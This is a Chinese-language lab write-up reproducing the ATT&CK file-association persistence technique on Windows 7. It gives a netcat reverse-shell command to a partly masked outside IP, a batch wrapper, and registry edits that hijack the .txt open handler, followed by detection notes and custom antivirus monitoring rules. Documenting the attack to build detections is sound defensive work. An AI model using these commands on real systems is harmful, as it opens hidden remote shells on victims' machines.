0x01-基础信息
具体信息 | 详情 |
---|---|
ATT&CK编号 | T1546-001 |
所属战术阶段 | 持久性 |
平台 | Windows7 sp1 |
所需权限 | 无 |
基础数据源 | 火绒安全 |
绕过防御 | 无 |
版本 | 1.0 |
创建时间 | 2022年04月07日 |
上次修改时间 | 暂未修改 |
0x02-技术原理描述
原理分析:
攻击者可以通过执行由文件类型关联触发的恶意内容来建立持久性。打开文件时,会检查用于打开文件的默认程序(也称为文件关联或处理程序)。文件关联选择存储在 Windows 注册表中,可由用户、管理员或具有注册表访问权限的程序或管理员使用内置的 assoc 实用程序进行编辑。应用程序可以修改给定文件扩展名的文件关联,以在打开具有给定扩展名的文件时调用任意程序。
例如,系统文件关联列在下面HKEY_CLASSES_ROOT.txt。这些条目指向位于 的该扩展的处理程序HKEY_CLASSES_ROOT[handler]。然后将各种命令列为 shell 键下方的子键HKEY_CLASSES_ROOT[handler]shell[action]command。例如:HKEY_CLASSES_ROOTtxtfileshellopencommandHKEY_CLASSES_ROOTtxtfileshellprintcommandHKEY_CLASSES_ROOTtxtfileshellprinttocommand列出的键的值是处理程序打开文件扩展名时执行的命令。攻击者可以修改这些值以连续执行任意命令。
0x03-复现环境
1、基础环境
基础平台 | 版本信息 | 镜像地址 | 快照编号 |
---|---|---|---|
Windows | Windows7 sp1 | https://next.itellyou.cn/ |
2、相关工具来源
工具名称 | 版本信息 | 官方下载地址 |
---|---|---|
netcat-win32-1.12 | V1.12 | https://eternallybored.org/misc/netcat/ |
3、工具命令列表
功能 | 语法 |
---|---|
调用nc64.exe程序执行shell反弹 | start C:topsecnc64.exe 114.116.xxx.xxx 1234 -e C:WindowsSystem32cmd.exe |
让用户可以正常打开所需要的txt文件 | start notepad.exe %1 |
0x04-复现过程
我们创建一个恶意文件,让用户尝试打开test.txt文件后,可以执行该恶意文件。这里使用的恶意文件是一个简单的bat批处理文件。我们在C:topsec目录下创建。首先先下载netcat工具,把nc64.exe放在该目录下。
start C:topsecnc64.exe 114.116.xxx.xxx 1234 -e C:WindowsSystem32cmd.exe
start notepad.exe %1
执行后,c:toolsshell.cmd将向攻击系统启动一个简单的 netcat 反向 shell。我们现在准备通过修改注册表的值数据来劫持 .txt 文件扩展名
修改注册表:HKEY_CLASSES_ROOTtxtfileshellopencommand,把值改成C:topsecshell.cmd %1
命令行修改方式:
reg add "HKEY_CLASSES_ROOTtxtfileshellopencommand" /ve /t REG_EXPAND_SZ /d "C:topsecshell.cmd %1" /f
注册表修改方式:新建2.reg文件,内容写上:
Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOTtxtfileshellopencommand] @=hex(2):43,00,3A,00,5C,00,74,00,6F,00,70,00,73,00,65,00,63,00,5C,00,73,00,68,00,65,00,6C,00,6C,00,2E,00, 63,00,6D,00,64,00,20,00,25,00,31,00,
双击后修改完成。
修改完注册表后,我们创建text.txt文件,内容任意。保存后我们双击text.txt。发现火绒安全软件已告警,并且能正常打开txt文件。
经过实验发现,我们修改注册表时,火绒居然是没有任何告警和防护措施。所以需要写自定义防护规则去告警或阻止注册表的修改操作。
这是使用命令行时候的规则,监控cmd程序调用reg.exe这是使用双击.reg文件的规则,读取注册表时进行告警
经过网上查询,我们还有另外一种方法可以劫持文件关联方法。使用assoc命令可以去修改文件关联。但暂未找到监控方法。
0x05-检测方法
攻击特征标注
火绒安全把攻击名称命名为:HackTool/NetCat,病毒类型为:黑客工具,操作类型为:执行。
进程特征标注
操作进程:C:Windowssystem32cmd.exe操作进程命令行:C:Windowssystem32cmd.exe /c ""C:topsecshell.cmd" C:topsectest.txt"父进程:C:WindowsExplorer.EXE
规则
{ "ver":"5.0", "tag":"hipsuser", "data":[ { "id":1, "power":1, "name":"txt文件关联监控", "procname":"*", "treatment":1, "policies":[ { "montype":2, "action_type":2, "res_path":"HKEY_CLASSES_ROOT\txtfile\shell\open\command" } ] }, { "id":2, "power":1, "name":"注册表命令行监控", "procname":"C:\Windows\System32\cmd.exe", "treatment":1, "policies":[ { "montype":0, "action_type":16, "res_path":"C:\Windows\system32\reg.exe" } ] } ] }
0x06-处置⽅法
监视注册表以了解文件扩展名命令的更改,尤其是当数据字段包含位于不寻常位置的二进制文件时,并且监控系统有无异常程序执行防止被远程控制。
0x07-总结
从实验中我们可以看到,我们可以通过命令行、reg文件等形式修改文件默认关联程序。众所周知,我们通常认为txt格式的文件是不可能藏有病毒的,但是,我们可以修改txt打开方式,让默认打开方式为记事本的程序转换为恶意的病毒木马程序,当用户双击txt文件时可以正常打开,但会同时执行恶意病毒程序,攻击者就可以进行权限持久化。并且在修改关联程序的同时,安全软件居然不会进行告警和阻止操作,所以危害是极大的。
0x08-参考链接
MITRE-ATT&CK-T1546-001 | https://attack.mitre.org/techniques/T1546/001/ |
---|---|
火绒安全检测工具 | https://www.huorong.cn/ |
原文始发于微信公众号(暗魂攻防实验室):ATT&CK之T1546-001-持久化之文件关联
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论